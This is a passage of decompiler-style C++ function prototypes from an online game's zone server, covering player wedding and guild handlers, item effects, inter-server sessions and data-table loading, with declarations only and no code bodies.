UseEffect::UseItemSkillScroll::uib_Effect(UseEffect::UseItemSkillScroll *this, #325 *, ItemTotalInformation *, UseEffect::UIE_Functions *); void __thiscall UseEffect::UseItemByTable::uib_Effect(UseEffect::UseItemByTable *this, #325 *, ItemTotalInformation *, UseEffect::UIE_Functions *); void __thiscall UseEffect::UseItemChargedBuff::uib_Effect(UseEffect::UseItemChargedBuff *this, #325 *, ItemTotalInformation *, UseEffect::UIE_Functions *); void __thiscall UseEffect::UseItemItemPackage::uib_Effect(UseEffect::UseItemItemPackage *this, #325 *, ItemTotalInformation *, UseEffect::UIE_Functions *); void __thiscall UseEffect::UseItemRoar::uib_Effect(UseEffect::UseItemRoar *this, #325 *, ItemTotalInformation *, UseEffect::UIE_Functions *); void __thiscall UseEffect::UseItemSkillErase::uib_Effect(UseEffect::UseItemSkillErase *this, #325 *, ItemTotalInformation *, UseEffect::UIE_Functions *); void __thiscall UseEffect::UseItemWingStone::uib_Effect(UseEffect::UseItemWingStone *this, #325 *, ItemTotalInformation *, UseEffect::UIE_Functions *); void __thiscall UseEffect::UseItemMemoryFeather::uib_Effect(UseEffect::UseItemMemoryFeather *this, #325 *, ItemTotalInformation *, UseEffect::UIE_Functions *); void __thiscall UseEffect::UseItemGuildReName::uib_Effect(UseEffect::UseItemGuildReName *this, #325 *, ItemTotalInformation *, UseEffect::UIE_Functions *); void __thiscall UseEffect::UseItemGuildReType::uib_Effect(UseEffect::UseItemGuildReType *this, #325 *, ItemTotalInformation *, UseEffect::UIE_Functions *); void __thiscall UseEffect::UseItemVariationProtocolBase::uib_AfterCast(UseEffect::UseItemVariationProtocolBase *this, #434 *, ItemBag *, ItemDataBox::ItemDataBoxIndex *, char); void __thiscall UseEffect::UseItemFurnitureEndureKit::uivpb_SendErrorCode(UseEffect::UseItemFurnitureEndureKit *this, #434 *, unsigned __int16); int __thiscall ItemSmallBag::isb_FindEmpty(ItemSmallBag *this, #434 *sp); int __thiscall ShineObjectClass::ShinePlayer::sp_Move4Activ(_DWORD, _DWORD, _DWORD, _DWORD); // weak void __thiscall ServerMenuFuncter::smfm_Silverwing_Cancel(ServerMenuFuncter *this, #434 *, ServerMenuArgument *); void __thiscall ServerMenuFuncter::smfm_Silverwing_Portal(ServerMenuFuncter *this, #434 *, ServerMenuArgument *); void __thiscall ShineObjectClass::ShinePlayer::sp_silverwing_Setloc(void *this, int inven); char __thiscall UseEffect::UseItemActionItem::uib_DirectUse(UseEffect::UseItemActionItem *this, #434 *, int, ItemTotalInformation *); void __thiscall ServerMenuFuncter::smfm_Silverwing_LocSet(ServerMenuFuncter *this, #434 *, ServerMenuArgument *); void __thiscall ShineObjectClass::ShinePlayer::sp_SilverWingMenu(void *this, __int16 slot, int itm); char __thiscall UseEffect::UseItemSilverWing::uib_DirectUse(UseEffect::UseItemSilverWing *this, #434 *, int, ItemTotalInformation *); void __thiscall RestExpCalculate::RestExpCalculate(RestExpCalculate *this); unsigned int __thiscall RestExpCalculate::CalRestExpforMilliSecond(RestExpCalculate *this, const int *rNewTime, const int *rOldTime); unsigned int __thiscall RestExpCalculate::CalRestExpforMilliSecondNotDefaultTime(RestExpCalculate *this, const int *rNewTime, const int *rOldTime); bool __thiscall RestExpCalculate::RestExpAbstateApplication(RestExpCalculate *this, #434 *, const int *); WEAPON_TITLE_DATA *__thiscall CWeaponTitleZone::GetLevelData(CWeaponTitleZone *this, unsigned __int16 MobID, ItemTotalInformation *pWeapon); WEAPON_TITLE_DATA *__thiscall CWeaponTitleZone::GetLevelData(CWeaponTitleZone *this, unsigned __int16 MobID, ItemTotalInformation *pWeapon, unsigned int *pLevel); int __thiscall ShineObjectClass::ShinePlayer::so_ply_EquipWeapon(void *this, int inv); void __thiscall GameDBSession::gds_NC_WT_LICENSE_CLR_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_WT_LICENSE_SET_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_WT_MOB_KILLCOUNT_SET_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_WT_TITLE_SET_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::sp_saveweapontitle(void *this, int itemkey, __int16 mobid, int KillCount); void __thiscall ShineObjectClass::ShinePlayer::sp_WeaponLicenseClear(void *this, int pReq, int weaponcell, int clearitemcell); signed int __thiscall ShineObjectClass::ShinePlayer::so_weapontitle(void *this, unsigned __int16 *mobid, int OldRank); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_WT_LICENSE_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ItemInventoryCell::iic_WeaponTitleSave(ItemInventoryCell *this, #434 *sp); bool __thiscall ShineDateTime::operator>(ShineDateTime *this, ShineDateTime *Rhs); bool __thiscall ShineDateTime::operator<(ShineDateTime *this, ShineDateTime *Rhs); ShineDateTime *__thiscall ShineDateTime::operator__(ShineDateTime *this, ShineDateTimeSpan Rhs); __int64 __thiscall ShineDateTime::toTime_t(ShineDateTime *this); void __thiscall WeddingPerson::WeddingPerson(WeddingPerson *this); PassiveDataBox::SpecialSkill *__thiscall PassiveDataBox::sdb_SpecSkillStruct(PassiveDataBox *this); void __cdecl ProposeResult(#325 *, unsigned __int16, unsigned __int16); void __cdecl ProposeResult(#325 *, unsigned __int16, unsigned __int16, const char *); void __cdecl ReservResult(#325 *, unsigned __int16, __int64); unsigned __int16 __cdecl Checker::WhenBeProposed(); unsigned __int16 __cdecl Checker::WhenReserve(); unsigned __int16 __cdecl Checker::WhenReservePartner(); PROTO_NC_CHAR_WEDDINGDATA_ACK *__cdecl ShineObjectClass::ShineObject::so_ply_WeddingStatus(); int __thiscall ShineObjectClass::ShinePlayer::so_ply_WeddingStatus(void *this); int __thiscall PROTO_NC_CHAR_WEDDING_PARTNER_SUMMON_RNG::operator_(int this, int a2); char __thiscall WeddingHall::wh_GuestCanEnter(WeddingHall *this, PROTO_NC_ACT_WEDDING_HALL_GUEST_ENTER_READY_ACK *wedding_progress); unsigned __int16 __cdecl Checker::WhenPropose(); unsigned __int16 __cdecl Checker::WhenProposeBoth(); unsigned __int16 __cdecl Checker::ApplicationLimit(); int __thiscall PROTO_NC_CHAR_WEDDINGDATA_ACK::operator_(int this, int a2); unsigned __int16 __cdecl Checker::DelayLimit(); void __thiscall ShineObjectClass::ShinePlayer::so_ply_WeddingInfoUpdate(void *this, int wedding); bool __thiscall ShineObjectClass::ShinePlayer::so_ply_WeddingPrepareItem(void *this); int __thiscall ShineObjectClass::ShinePlayer::so_ply_DivorceProcess(void *this); void __fastcall ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_PROPOSEREQ_REQ(int a1, int netcmd, int len, __int16 handle); int __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_PROPOSEACK_ACK(_DWORD, _DWORD, _DWORD, _DWORD); // weak void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_HALL_GUEST_ENTER_READY_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_HALL_GUEST_ENTER_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_AGREEMENT_DIVORCE_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_COMPULSORY_DIVORCE_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_DIVORCE_REFUSE_CMD(void *this, int netcmd, int len, __int16 handle); void __thiscall WorldManagerSession::wms_NC_CHAR_WEDDING_CANCEL_WEDDING(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WeddingHall::WeddingHall(WeddingHall *this); char __thiscall WeddingHall::wh_Reserv(WeddingHall *this, #325 *, #325 *, __int64 *); void __thiscall ZoneListenSession::zls_NC_CHAR_WEDDING_PARTNER_INFO_RNG(ZoneListenSession *this, NETCOMMAND *netcmd); void __thiscall ZoneListenSession::zls_NC_CHAR_WEDDING_PARTNER_SUMMON_RNG(ZoneListenSession *this, NETCOMMAND *netcmd); void __thiscall ZoneListenSession::zls_NC_CHAR_WEDDING_REFRESH_INFO_RNG(ZoneListenSession *this, NETCOMMAND *netcmd); void __thiscall GameDBSession::gds_NC_CHAR_WEDDINGDATA_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_CHAR_WEDDING_PROPOSE_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_CHAR_WEDDING_PROPOSE_CANCEL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_CHAR_WEDDING_DIVORCE_BY_AGREE_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_CHAR_WEDDING_DIVORCE_BY_FORCE_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_CHAR_WEDDING_DIVORCE_DO_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_CHAR_WEDDING_DIVORCE_CANCEL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __cdecl learnSkill(#325 *, unsigned __int16, bool); void __thiscall GameDBSession::gds_NC_CHAR_WEDDING_DO_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_CHAR_WEDDING_ESCAPE_DIVORCE_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_CHAR_WEDDING_PARTNER_INFO_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); unsigned __int16 __cdecl Checker::DivorceLimit(); void __thiscall ShineObjectClass::ShinePlayer::so_ply_WeddingData(void *this, int wed); void __fastcall ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_HALL_RESERV_REQ(int a1, int netcmd, int len, __int16 handle); void __thiscall WeddingHall::wh_Start(WeddingHall *this); bool __thiscall WeddingHall::wh_RecallCouple(WeddingHall *this, unsigned int regnum); void __thiscall WeddingHall::wh_Routine(WeddingHall *this); void __thiscall ZoneListenSession::zls_NC_ACT_WEDDING_COUPLE_ENTRANCE_RNG(ZoneListenSession *this, NETCOMMAND *netcmd); void __thiscall WorldManagerSession::WorldManagerSession(WorldManagerSession *this); void __thiscall WorldManagerSession::_WorldManagerSession(WorldManagerSession *this); void __thiscall WorldManagerSession::wms_DummyFunction(WorldManagerSession *this, NETCOMMAND *netcmd, int len); int __thiscall ShineObjectClass::ShinePlayer::so_fill_CHAR_PARAMETER_DATA(void *this, int param); int __thiscall ShineObjectClass::ShinePlayer::so_fill_PROTO_NC_CHAR_MAPLOGIN_ACK(void *this, int logsuc); void __thiscall WorldManagerSession::wms_NC_MISC_S2SCONNECTION_RDY(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_MISC_S2SCONNECTION_ACK(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_MISC_HEARTBEAT_REQ(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_CHAR_ZONE_CHARDATAFAIL_ACK(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_CHAR_ZONE_CHARDATA_ACK(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_kickoff(WorldManagerSession *this, unsigned int usrregnum); void __thiscall WorldManagerSession::wms_NC_CHAR_ZONE_CHARTITLE_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_CT_CHARTTING_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_CT_ADD_FRIEND_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_GUILD_ZONE_WAR_START_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_GUILD_ZONE_WAR_END_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_GUILD_ZONE_LIST_ACK(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_GUILD_ZONE_MAKE_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_GUILD_ZONE_DELETE_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_GUILD_ZONE_MEMBER_JOIN_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_GUILD_ZONE_MEMBER_LEAVE_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_ZONE_PRISON_GO_REQ(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_GuildWarStatusRequest(WorldManagerSession *this); void __thiscall WorldManagerSession::wms_NC_GUILD_GUILDWARSTATUS_ACK(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_MISC_START_THE_BOOM_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_EndOfKQPacket(WorldManagerSession *this, unsigned int kqhandle); void __thiscall WorldManagerSession::wms_NC_GUILD_STORAGE_WITHDRAW_GRADE_ACK(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_GRADE_ACK(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_GUILD_WORLD_RENAME_ACK(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_GUILD_WORLD_RETYPE_ACK(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_MISC_SPAMMER_ZONE_CHAT_BAN_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_USER_KICKOFFFROMWORLD_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_USER_CONNECTCUT2ZONE_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_ZONE_PRISON_END_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_CHAR_ZONE_SINGLE_OPTION_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall ZoneBaseSession::_ZoneBaseSession(ZoneBaseSession *this); int __thiscall ZoneBaseSession::Close(ZoneBaseSession *this); int __thiscall ZoneBaseSession::Send(ZoneBaseSession *this, void *pData, int nSize); int __thiscall ZoneBaseSession::Receive(ZoneBaseSession *this); int __thiscall ZoneBaseSession::Socket_Register_To_IOCP(ZoneBaseSession *this, CIOCP *pIOCP); int __thiscall ZoneBaseSession::CheckHeartBeat(ZoneBaseSession *this, int interval); int __thiscall IOCPProcessSession::IOCP_Process(IOCPProcessSession *this, CIOCP::IOCP_OVERLAPPED *pOverlapped, unsigned int NumOfBytes); int __thiscall ZoneBaseSession::Connect(ZoneBaseSession *this, char *pIPAddress, int PortNo, CIOCP *pIOCP); void __thiscall ZoneBaseSession::ZoneBaseSession(ZoneBaseSession *this); void __thiscall ZoneBaseSessionManager::ZoneBaseSessionManager(ZoneBaseSessionManager *this); void __thiscall ZoneBaseSessionManager::FreeSessions(ZoneBaseSessionManager *this); void __thiscall ZoneBaseSessionManager::ProcHeartBeat(ZoneBaseSessionManager *this, CIOCP *pIOCP); void __thiscall ZoneBaseSessionManager::_ZoneBaseSessionManager(ZoneBaseSessionManager *this); int __thiscall ZoneBaseSessionManager::InitSessions(ZoneBaseSessionManager *this, int MaxSessions); void __thiscall ZoneBaseSessionManager::EmptyToActive(ZoneBaseSessionManager *this, ZoneBaseSessionManager::LOGIN_SESSION_LIST *pSessionList); ZoneBaseSessionManager::LOGIN_SESSION_LIST *__thiscall ZoneBaseSessionManager::ActiveSession(ZoneBaseSessionManager *this, unsigned int SocketAccept, sockaddr *pAddr); void __thiscall ZoneBaseSessionManager::InactiveSession(ZoneBaseSessionManager *this, ZoneBaseSessionManager::LOGIN_SESSION_LIST *pSessionList); void __thiscall ZoneConnectSession::ZoneConnectSession(ZoneConnectSession *this); void __thiscall ZoneConnectSession::_ZoneConnectSession(ZoneConnectSession *this); void __thiscall ZoneRingPacketFindPlayer::ZoneRingPacketFindPlayer(ZoneRingPacketFindPlayer *this); void __thiscall ZoneRingPacketFindPlayerByNormalUser::ZoneRingPacketFindPlayerByNormalUser(ZoneRingPacketFindPlayerByNormalUser *this); void __thiscall ZoneRingPacketSummonPlayer::ZoneRingPacketSummonPlayer(ZoneRingPacketSummonPlayer *this); void __thiscall ZoneRingPacketKickPlayerOut::ZoneRingPacketKickPlayerOut(ZoneRingPacketKickPlayerOut *this); void __thiscall ZoneRingPacketItemBonus::ZoneRingPacketItemBonus(ZoneRingPacketItemBonus *this); void __thiscall ZoneRingPacketExpBonus::ZoneRingPacketExpBonus(ZoneRingPacketExpBonus *this); void __thiscall ZoneRingPacketSummonPartner::ZoneRingPacketSummonPartner(ZoneRingPacketSummonPartner *this); void __thiscall ZoneRingPacketFindInstanceDungeon::ZoneRingPacketFindInstanceDungeon(ZoneRingPacketFindInstanceDungeon *this); void __thiscall ZoneRingPacketEmtpyInstanceDungeon::ZoneRingPacketEmtpyInstanceDungeon(ZoneRingPacketEmtpyInstanceDungeon *this); void __thiscall ZoneRingPacketExpBonus::_ZoneRingPacketExpBonus(ZoneRingPacketFindInstanceDungeon *this); void __thiscall ZoneRingPacketFindInstanceDungeon::zrpb_Query(ZoneRingPacketFindInstanceDungeon *this, #325 *, NETCOMMAND *); void __thiscall ZoneConnectSession::zcs_Send(ZoneConnectSession *this, ProtocolPacket *pp, int len); void __thiscall ZoneRingPacketSummonPlayer::zrpb_Request(ZoneRingPacketSummonPlayer *this, #325 *, NETCOMMAND *); void __thiscall ZoneRingPacketFindPlayer::zrpb_Request(ZoneRingPacketFindPlayer *this, #325 *, NETCOMMAND *); void __thiscall ZoneRingPacketFindPlayerByNormalUser::zrpb_Request(ZoneRingPacketFindPlayerByNormalUser *this, #325 *, NETCOMMAND *); void __thiscall ZoneRingPacketKickPlayerOut::zrpb_Request(ZoneRingPacketKickPlayerOut *this, #325 *, NETCOMMAND *); void __thiscall ZoneRingPacketItemBonus::zrpb_Request(ZoneRingPacketItemBonus *this, #325 *, NETCOMMAND *); void __thiscall ZoneRingPacketExpBonus::zrpb_Request(ZoneRingPacketExpBonus *this, #325 *, NETCOMMAND *); void __thiscall ZoneRingPacketSummonPlayer::zrpb_Success(ZoneRingPacketSummonPlayer *this, #325 *, NETCOMMAND *); void __thiscall ZoneRingPacketFindPlayer::zrpb_Success(ZoneRingPacketFindPlayer *this, #325 *, NETCOMMAND *); void __thiscall ZoneRingPacketFindPlayerByNormalUser::zrpb_Success(ZoneRingPacketFindPlayerByNormalUser *this, #325 *, NETCOMMAND *); void __thiscall ZoneRingPacketKickPlayerOut::zrpb_Success(ZoneRingPacketKickPlayerOut *this, #325 *, NETCOMMAND *); void __thiscall ZoneRingPacketSummonPlayer::zrpb_Failure(ZoneRingPacketSummonPlayer *this, #325 *, NETCOMMAND *); void __thiscall ZoneRingPacketFindPlayer::zrpb_Failure(ZoneRingPacketFindPlayer *this, #325 *, NETCOMMAND *); void __thiscall ZoneRingPacketFindPlayerByNormalUser::zrpb_Failure(ZoneRingPacketFindPlayerByNormalUser *this, #325 *, NETCOMMAND *); void __thiscall ZoneRingPacketKickPlayerOut::zrpb_Failure(ZoneRingPacketKickPlayerOut *this, #325 *, NETCOMMAND *); void __thiscall ZoneRingPacketSummonPartner::zrpb_Request(ZoneRingPacketSummonPartner *this, #325 *, NETCOMMAND *); void __thiscall ZoneRingPacketSummonPartner::zrpb_Success(ZoneRingPacketSummonPartner *this, #325 *, NETCOMMAND *); void __thiscall ZoneRingPacketSummonPartner::zrpb_Failure(ZoneRingPacketSummonPartner *this, #325 *, NETCOMMAND *); void __thiscall ZoneRingPacketRefreshWeddingInfo::zrpb_Success(ZoneRingPacketRefreshWeddingInfo *this, unsigned int RegisterNumber, NETCOMMAND *netcmd); void __thiscall ZoneRingPacketEmtpyInstanceDungeon::zrpb_Request(ZoneRingPacketEmtpyInstanceDungeon *this, #325 *, NETCOMMAND *); void __thiscall ZoneRingPacketEmtpyInstanceDungeon::zrpb_Success(ZoneRingPacketEmtpyInstanceDungeon *this, #325 *, NETCOMMAND *); void __thiscall ZoneRingPacketFindInstanceDungeon::zrpb_Success(ZoneRingPacketFindInstanceDungeon *this, FieldOption::InstanceDungeonInfo *Info, #585 *EmptyField); void __thiscall ZoneRingPacketItemBonus::zrpb_Success(ZoneRingPacketItemBonus *this, #325 *, NETCOMMAND *); void __thiscall ZoneRingPacketExpBonus::zrpb_Success(ZoneRingPacketExpBonus *this, #325 *, NETCOMMAND *); void __thiscall ZoneRingPacketRefreshWeddingInfo::zrpb_Request(ZoneRingPacketRefreshWeddingInfo *this, unsigned int RegisterNumber, NETCOMMAND *netcmd); void __thiscall ZoneRingPacketFindInstanceDungeon::zrpb_Request(ZoneRingPacketFindInstanceDungeon *this, #325 *, NETCOMMAND *, FieldOption::InstanceDungeonInfo *); void __thiscall ZoneIPContainer::_ZoneIPContainer(ZoneIPContainer *this); void __thiscall ZoneIPContainer::zipc_Store(ZoneIPContainer *this, unsigned int machine, char *ipaddr, unsigned __int16 port); Name4 *__thiscall ZoneIPContainer::zipc_GetNextIP(ZoneIPContainer *this); void __thiscall ZoneIPContainer::zipc_SetNextIP(ZoneIPContainer *this, unsigned int mymachine); int __thiscall ZoneIPContainer::zipc_GetNextZoneNo(ZoneIPContainer *this, unsigned int mymachine); char __thiscall ZoneIPContainer::zipc_Mechine2IP(ZoneIPContainer *this, char machine, Name4 *zoneip, unsigned __int16 *port); void __thiscall ZoneIPContainer::ZoneIPContainer(ZoneIPContainer *this); unsigned int __thiscall ClockWatch::cw_Set(ClockWatch *this); void __cdecl message(char *msg); void __thiscall CWeaponTitleZone::CWeaponTitleZone(CWeaponTitleZone *this); void __thiscall CWeaponTitleZone::_CWeaponTitleZone(CWeaponTitleZone *this); void __thiscall CCharacterTitleData::_CCharacterTitleData(BinaryData *this); CServerInfo *__thiscall ZoneServer::zs_mechineinfo(ZoneServer *this); CServerInfo::MY_SERVER *__thiscall ZoneServer::zs_worlddata(ZoneServer *this); void __thiscall ZoneServer::zs_serviceend(ZoneServer *this); char *__thiscall ZoneServer::zs_GetServerGroup(ZoneServer *this); char __thiscall ZoneServer::zs_Getportinfo(ZoneServer *this, CServerInfo::SERVER_INFO *serverinfo, int towhere); char __thiscall ZoneServer::zs_ServerConnect2Zone(ZoneServer *this, ZoneBaseSession *session); char __thiscall ZoneServer::zs_ServerConnect(ZoneServer *this, ZoneBaseSession *session, int towhere, int limit); char __thiscall ZoneServer::zs_Start_Acceptor(ZoneServer *this); unsigned int __stdcall ZoneServer::zs_stackcheckfunc(void *param); int __thiscall ZoneServer::zs_PacketProcess(ZoneServer *this, char *from, ZoneBaseSession *session); char __thiscall ShineObjectClass::ShinePlayer::so_ply_LoginIPSet(int this, char a0, char a1, char a2, char a3); void __cdecl EraseOldLogList(char *filename); int __cdecl EraseLog(); WinService *__cdecl Singleton::getInstance(); void __thiscall SocketBundle::sb_Routine(SocketBundle *this, char *flag, ZoneServer *zone, int towhere); void __thiscall SleepManager::sm_Sleep(SleepManager *this); void __thiscall SleepManager::sm_Routine(SleepManager *this); void __thiscall ZoneServer::__unnamed::___unnamed(CCsl *this); void __thiscall ZoneServer::_ZoneServer(ZoneServer *this); char __thiscall ZoneServer::zs_Start_StackChecker(ZoneServer *this); void __thiscall ZoneServer::zs_connect(ZoneServer *this); bool __thiscall ZoneServer::ParseCmd(ZoneServer *this, char *cmdLine); void __thiscall SocketBundle::sb_HeartBeatCheck(SocketBundle *this, char *flag); void __thiscall SocketBundle::sb_Packet(SocketBundle *this, char *flag, ZoneServer *zone); void __thiscall SocketBundle::sb_DisconnectCheck(SocketBundle *this, char *flag); void __thiscall ZoneServer::ZoneServer(ZoneServer *this); int __thiscall ZoneServer::zs_start(ZoneServer *this, char *cmdLine); void __thiscall ZoneServer::zs_disconnect(ZoneServer *this); void __thiscall std::_Tree_std::allocator_0>>::_Erase(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Rootnode); std::_Tree_nod,std::allocator,0> >::_Node *__thiscall std::_Tree_std::allocator_0>>::_Buynode(std::_Tree,std::allocator,0> > *this); unsigned int __stdcall ZoneServer::zs_mainthreadfunction(void *param); char __thiscall ZoneServer::zs_Start_MainThread(ZoneServer *this); char __thiscall ZoneServer::zs_servicestart(ZoneServer *this); unsigned int __stdcall ZoneServer::zs_ServiceThreadFunction(void *param); std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::erase(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, std::_Tree,std::allocator,0> >::iterator _Where); char __thiscall ZoneServer::zs_ServiceRoutineStart(ZoneServer *this); std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::erase(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, std::_Tree,std::allocator,0> >::iterator _First, std::_Tree,std::allocator,0> >::iterator _Last); void __thiscall std::set_std::allocator>::_set_std::allocator>(std::set,std::allocator > *this); void __thiscall std::set_std::allocator>::set_std::allocator>(std::set,std::allocator > *this); void __thiscall Metronome::Metronome(Metronome *this); void __thiscall FieldMap::fm_StartScript(void *this, int lst, __int16 handle); void __thiscall EventHeartPing::EventHeartPing(EventHeartPing *this); void __thiscall List::_List(List *this); char __thiscall List::l_PushZ(List *this, EventReserveListElement *ele); char __thiscall List::l_PopA(List *this, EventReserveListElement *ele); char __thiscall List::l_PopZ(List *this, EventReserveListElement *ele); GameDBSession *__thiscall SocketBundle::__unnamed::__unnamed(GameDBSession *this); void __thiscall SocketBundle::__unnamed::___unnamed(GameDBSession *this); GameLogSession *__thiscall SocketBundle::__unnamed::__unnamed(GameLogSession *this); void __thiscall SocketBundle::__unnamed::___unnamed(GameLogSession *this); WorldManagerSession *__thiscall SocketBundle::__unnamed::__unnamed(WorldManagerSession *this); void __thiscall SocketBundle::__unnamed::___unnamed(WorldManagerSession *this); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); char __thiscall List::l_4AllInList(List *this, ListIteratorDefault *arg); void __thiscall EventReserveContainer::_EventReserveContainer(EventReserveContainer *this); char __thiscall EventReserveListElement::erle_Routine(EventReserveListElement *this, List *lst, unsigned __int16 handle); char __thiscall List::l_PushA(List *this, EventReserveListElement *ele); void __thiscall SocketBundle::SocketBundle(SocketBundle *this, int recintv); void __thiscall SocketBundle::_SocketBundle(SocketBundle *this); void __thiscall SocketBundle::SocketBundle(SocketBundle *this, int recintv); void __thiscall SocketBundle::_SocketBundle(SocketBundle *this); void __thiscall SocketBundle::SocketBundle(SocketBundle *this, int recintv); void __thiscall SocketBundle::_SocketBundle(SocketBundle *this); void __thiscall ChargedItemEffectDataBox::cideb_Load(ChargedItemEffectDataBox *this, char *fname, UseEffect::UseItemBase *uib, SkillDataBox::SkillDataIndex *uie); void __thiscall ChargedItemEffectDataBox::cideb_Load(ChargedItemEffectDataBox *this, char *fname, UseEffect::UseItemBase *uib, SkillDataBox::SkillDataIndex *uie); void __thiscall ChargedItemEffectDataBox::cideb_Load(ChargedItemEffectDataBox *this, char *fname, UseEffect::UseItemBase *uib, SkillDataBox::SkillDataIndex *uie); void __thiscall ITableBase::_ITableBase(ITableBase *this); void __thiscall ITableBase::_ITableBase(ITableBase *this); void __thiscall ITableBase::_ITableBase(ITableBase *this); void __thiscall ITableBase::_ITableBase(ITableBase *this); void __thiscall ITableBase::_ITableBase(ITableBase *this); void __thiscall ITableBase::_ITableBase(ITableBase *this); void __thiscall ITableBase::_ITableBase(ITableBase *this); void __thiscall ITableBase::_ITableBase(ITableBase *this); void __thiscall ITableBase::_ITableBase(ITableBase *this); void __thiscall ITableBase::_ITableBase(ITableBase *this); void __thiscall ITableBase::_ITableBase(ITableBase *this); void __thiscall AccUpGradeInfoTable::_AccUpGradeInfoTable(AccUpGradeInfoTable *this); bool __thiscall IIDTableBase::IsValidID(IIDTableBase *this, int ID); bool __thiscall IIDTableBase::DataProcess(IIDTableBase *this); void __thiscall ITableBase::_ITableBase(ITableBase *this); void __thiscall ITableBase::_ITableBase(ITableBase *this); void __thiscall ITableBase::_ITableBase(ITableBase *this); void __thiscall ITableBase::_ITableBase(ITableBase *this); void __thiscall ITableBase::_ITableBase(ITableBase *this); bool __thiscall IIDTableBase::IsValidID(IIDTableBase *this, char ID); bool __thiscall IIDTableBase::DataProcess(IIDTableBase *this); void *__thiscall 